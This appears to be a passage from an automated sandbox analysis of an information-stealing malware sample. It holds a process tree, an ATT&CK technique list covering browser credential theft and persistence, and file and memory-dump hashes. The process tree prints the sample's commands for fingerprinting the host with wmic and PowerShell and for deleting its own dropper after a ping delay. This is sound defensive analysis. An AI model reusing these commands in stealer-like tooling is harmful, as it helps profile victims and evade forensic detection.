        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5328
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        5⤵
        
        PID:1472
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        5⤵
        
        PID:3240
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:836
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:4984
    - - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Grabb.exe" && pause
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:3008
      - C:\Windows\system32\PING.EXE
        
        ping localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
56c43715e0e7fa58012d8a5769d8d568

SHA1
4370ca3436f2e3a95b47a728503a2c22a5a5fa39

SHA256
8ef51b68725d9ddcda70f9f7ef24686ff3cb4a00f7d2dce79d10027ed63dfed5

SHA512
b8da8defb2080d04babc3e676cc9686c7f71b15eeca0e738ca75c9fb7af968eba8d3daff5bc2e31d471e26568df2f319ec1f4b00bf43ffb60460e5df787947ed

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
d7114a6cd851f9bf56cf771c37d664a2

SHA1
769c5d04fd83e583f15ab1ef659de8f883ecab8a

SHA256
d2c75c7d68c474d4b8847b4ba6cfd09fe90717f46dd398c86483d825a66e977e

SHA512
33bdae2305ae98e7c0de576de5a6600bd70a425e7b891d745cba9de992036df1b3d1df9572edb0f89f320e50962d06532dae9491985b6b57fd37d5f46f7a2ff8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
719923124ee00fb57378e0ebcbe894f7

SHA1
cc356a7d27b8b27dc33f21bd4990f286ee13a9f9

SHA256
aa22ab845fa08c786bd3366ec39f733d5be80e9ac933ed115ff048ff30090808

SHA512
a207b6646500d0d504cf70ee10f57948e58dab7f214ad2e7c4af0e7ca23ce1d37c8c745873137e6c55bdcf0f527031a66d9cc54805a0eac3678be6dd497a5bbc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
180B

MD5
00a455d9d155394bfb4b52258c97c5e5

SHA1
2761d0c955353e1982a588a3df78f2744cfaa9df

SHA256
45a13c77403533b12fbeeeb580e1c32400ca17a32e15caa8c8e6a180ece27fed

SHA512
9553f8553332afbb1b4d5229bbf58aed7a51571ab45cbf01852b36c437811befcbc86f80ec422f222963fa7dabb04b0c9ae72e9d4ff2eeb1e58cde894fbe234f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
09acdb3bb25ddc0695a20bcf1a24e4f9

SHA1
ce3e441eaee777dba620b89029fc3612208852cd

SHA256
f7870bb15f7ce9ff941683f9a4510286f95248b47921639eed367146267f150b

SHA512
3bc3b8d332e211e9c2749ea061d87bc94edcd45e3a91f364f18ff8846587b454d293d8d0a204baa370542d0d2ed20a351e7bf5b810de45112cf12b2c21bb1060

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
1503c0508b8373ecdf9e0839a1371d2f

SHA1
1634808051ec84d530f073f19f8396c24eb00e93

SHA256
04dd86bd10eb667e4ec2679ebb5a03a418560d769428b602e480c24541e313eb

SHA512
03eb3e13aafa90402c3adb58d1815a0e412d75909c4d9d19f68fb9ce556d9483b3d010796ca9f607c1906fc0ce51bc56c8f9338758f071e9ef8f7c68b5353f4f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
060065a108d8f202a071af8bb5a16819

SHA1
d7c405bb31347b3f4b5fcd6f906afc1cb7c397f0

SHA256
3c2e7e35465f4ab1c16532f8dff781af4898a7190d2636db7f3a94b768309013

SHA512
4b5c15ac43467ab25c3430f2697b1efc5931b0eca30e60db5ff454cd398ffd3b00c2f02786702c56c971ad92e949c1bd72bd465f3a917e4c652d97da1a796dbc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
5103a8164185076799c5436ec65ff340

SHA1
d5f3018dd8c0e2fc93c1102c790ba103e4f79644

SHA256
2c99bc0f777a6b1186d5a2f59cc896acfa064f8acea1a585646297b573d6b8e9

SHA512
10ea55f260703585b84002bf6f582499081cd53a5c8aa57e110a34504518544ebf0658660153d42ecd917d0524bf25b1f61db6a63e910602056f274b7e47b7b6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
6ce4ca07f895d4f51e662c3ee52723b6

SHA1
c49be5d9baa8e8b3a1e7b4155a5aef9dbe0fb6ac

SHA256
1bb9cf30de52eb5cba712b5f06fbbe4544f70cb47e4b6bab8bf96d83eb6e9d36

SHA512
3ba81d3968ab69d56a5edad88eeb26ecd322dc242fe1a761d68ee5d79a3860d33594c19975c4a790435082f06c51113bef1051b1caeb43ef832f99b93d939dc3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
42547928075a81a8b0852f9b4d67da7d

SHA1
b128822e71976f0c38db66cccd97bd78b1b60793

SHA256
3bfafa127eb3720068c48de4b767b12837c583107986090b42cd78b7c96fbb9c

SHA512
126e99b1daa86c39470436db331010dd9da0ac991d7e4f8f8b7371f50ff3f87db81cdd6db086a3565c9dd55df0877571e1d59acc15ff7a4333cfeea46526f26b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
6477711158605e484cc20aa6a91445ce

SHA1
1ab40d7e84d9d9053f9fc58fa3ef8d85e55e5d4d

SHA256
72feee8a14eeffc12f4345152b3c5353cd386dad212d202542506c3d947aec37

SHA512
b66b27df45254f74a2ea3965a7b8e4e87204dd2b2ee823f042f2affbd7514d4b11fc02b692744c6d6857935573708be6a922a37e45fef28c26433c4ae14f633f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
3d66c6e1315013fdad595af679363e65

SHA1
429f08f0fd9b21b9340ea1f3edf8017f713bd7a0

SHA256
98cccd0b92aa15cb25d61fd4535d79757f2dadb3d727b57cf07d2caa5aadd62b

SHA512
ec2c7afb0fd13eabd0164dca1fd0a75918c57f3643a98ad0d5b2987f5f542c9d40d583a9c3620941af06819ff601445e1325036361486bd8e9f39594217b2b39

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
bfc5cce0679887efd65c9663a59c44ac

SHA1
1d1c8aa6b449989be96e1e9d64a5b1420eede7cc

SHA256
ddce2d683c7c81442de930a9d9c6fc66bb40897650dcde6c5b63481d3947e802

SHA512
21aa33e9122ee95928079c35ef26255c95691c249adde0a6520682043bb6da1e2030b9e8eb6d9c7a629ffe9e549bec5e49b5263e0db75abd6e3b12562a36f116

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
fd06fab2dac4911fabd277a553d4e26b

SHA1
a8841d64a128e84a6c6a3dd678e0a9d08e74e616

SHA256
d2ea202cb51105d71a10198ddf876fbe84e2cfd2e8814cd51df46372a5a0367f

SHA512
2b3696b3d2ad51e6aee736979826ed1232586730c76e33b4ce0980a61a5fd2f5c5be2bc6425fdbdadcd478a29c986dbbfea20951dbee7b02a663bea2fe4f0e71

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
420a0347ed335b631f37d5a2a9f43e9c

SHA1
6da034294d727b44aa8d6bf6f157f2fe53580617

SHA256
88d3576e3b3acd7f044774fc291158cab5f73e9322ea755ac3f88b3a9c971a16

SHA512
9e9cde7a08a9ed233d3a140db0de5bc2f725a9194fbdd4c734dea71fa49c4f6fadb4d4dc2b45345b0aa7e7dc1b9dae23d3eefaea2d86d3e48501503fb2b85596

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
3443467f6555d6b3524dd70e46cff8dd

SHA1
3e44ee1e05e988c725b7374baffb94436a14cb4e

SHA256
ff5c1556068c1314c7a38718aeafbb4b362d0a5ee100ef1f236fd93306847baa

SHA512
1efead1fb284a707d7eef7a997e424ae4b63744a94c07a99c5a5d9e8775d55d9f7ed1191a94e046130afb2f308bc594d63f31398cef3ec204c24274ddaff4c19

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
0aa63dbb46d451e47a7a682c64af776d

SHA1
3b0026f2dae8e9c491ccaa40133755779de35aaa

SHA256
9158038718d41172c22a3c1a15852405e3e1c8e2c44fa066328eb1520e5d977b

SHA512
4d2564850c2ab1bc71089412f19147df4a1cd3075aa2039aa894271b333cd9c510b7ba4d70889f24d45d8b366d8b5167abdcf24314e4753420337c7d34e7c43f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
19e1e2a79d89d1a806d9f998551c82a8

SHA1
3ea8c6b09bcaa874efc3a220f6f61eed4be85ebd

SHA256
210f353fbdf0ed0f95aec9d76a455c1e92f96000551a875c5de55cfa712f4adc

SHA512
da427ad972596f8f795ae978337e943cb07f9c5a2ed1c8d1f1cad27c07dcec2f4d4ffe9424db2b90fcba3c2f301524f52931a863efae38fca2bef1def53567b8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
34f595487e6bfd1d11c7de88ee50356a

SHA1
4caad088c15766cc0fa1f42009260e9a02f953bb

SHA256
0f9a4b52e01cb051052228a55d0515911b7ef5a8db3cf925528c746df511424d

SHA512
10976c5deaf9fac449e703e852c3b08d099f430de2d7c7b8e2525c35d63e28b890e5aab63feff9b20bca0aaf9f35a3ba411aee3fbeee9ea59f90ed25bd617a0b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cloner.exe

Filesize
204KB

MD5
5f43c0499a7d7947f5feb5db1a8726f0

SHA1
3eb4045f1287531843d11e52423472b54494b02b

SHA256
2824d0b186c90e04ab56e026c018e7f521e2127bd526d9fca008eaa613fe4012

SHA512
c7aaee50c4c13b711a46511611c27eb2d6bd92ef26b0b7627f63f34ee45d1386cad819accfd267e89574eea21a5f752706878824f4996b9a7faa4d742789752a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Grabb.exe

Filesize
231KB

MD5
aa72c54d54f7dcef7482efd77fffe5eb

SHA1
76689cf7194fbf0f0deb4ec2e1d29cdddbceecf0

SHA256
bd9152eb61004161c21b7b2af7873a07dddb6e2fb5966b021825ebaf9b7ff9b0

SHA512
3e1e8c6869d5447fe6c154a095981f3fc1d8638154c22b29c6bf68e4269161431b392d143f7c866c7ea7a828c0a225bf6e341465c9e9e6a96e7a5072bc1c91ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3ad2cgud.u3e.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\payload.exe

Filesize
12.0MB

MD5
a97ea9e6786a02d1651e023b8e2b6aa1

SHA1
5614e602de8ef7c1095450f5053ed14c8e17f31e

SHA256
8e3ca6388350b76e63e673c31dc7fea8772156f640c0d76c8ddd8e552c9f8e90

SHA512
894c898d1c1b64353bf4f38cbdb477596d780b137a06c2012932c05dddbba4f4f850b76ba0da930b8b626ae6a3b14013ff319a71cb030332dbb9fbd6859b20b8

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
2KB

MD5
4028457913f9d08b06137643fe3e01bc

SHA1
a5cb3f12beaea8194a2d3d83a62bdb8d558f5f14

SHA256
289d433902418aaf62e7b96b215ece04fcbcef2457daf90f46837a4d5090da58

SHA512
c8e1eef90618341bbde885fd126ece2b1911ca99d20d82f62985869ba457553b4c2bf1e841fd06dacbf27275b3b0940e5a794e1b1db0fd56440a96592362c28b

Download Submit
memory/1648-154-0x0000023A1DC00000-0x0000023A1DD4E000-memory.dmp

Filesize
1.3MB

Download
memory/1648-170-0x0000023A1DC00000-0x0000023A1DD4E000-memory.dmp

Filesize
1.3MB

Download
memory/1648-144-0x0000023A1E2D0000-0x0000023A1E492000-memory.dmp

Filesize
1.8MB

Download
memory/1648-140-0x0000023A05550000-0x0000023A05572000-memory.dmp

Filesize
136KB

Download
memory/3392-172-0x0000000000F20000-0x0000000000F60000-memory.dmp

Filesize
256KB

Download
memory/4140-203-0x0000000000E80000-0x0000000000EB8000-memory.dmp

Filesize
224KB

Download
memory/5884-237-0x000002BE73DB0000-0x000002BE73DCE000-memory.dmp

Filesize
120KB

Download
memory/5884-235-0x000002BE73D60000-0x000002BE73DB0000-memory.dmp

Filesize
320KB

Download
memory/5884-275-0x000002BE73C80000-0x000002BE73C8A000-memory.dmp

Filesize
40KB

Download
memory/5884-276-0x000002BE73CC0000-0x000002BE73CD2000-memory.dmp

Filesize
72KB

Download
memory/5884-207-0x000002BE715B0000-0x000002BE715F0000-memory.dmp

Filesize
256KB

Download
memory/5884-234-0x000002BE73CE0000-0x000002BE73D56000-memory.dmp

Filesize
472KB

Download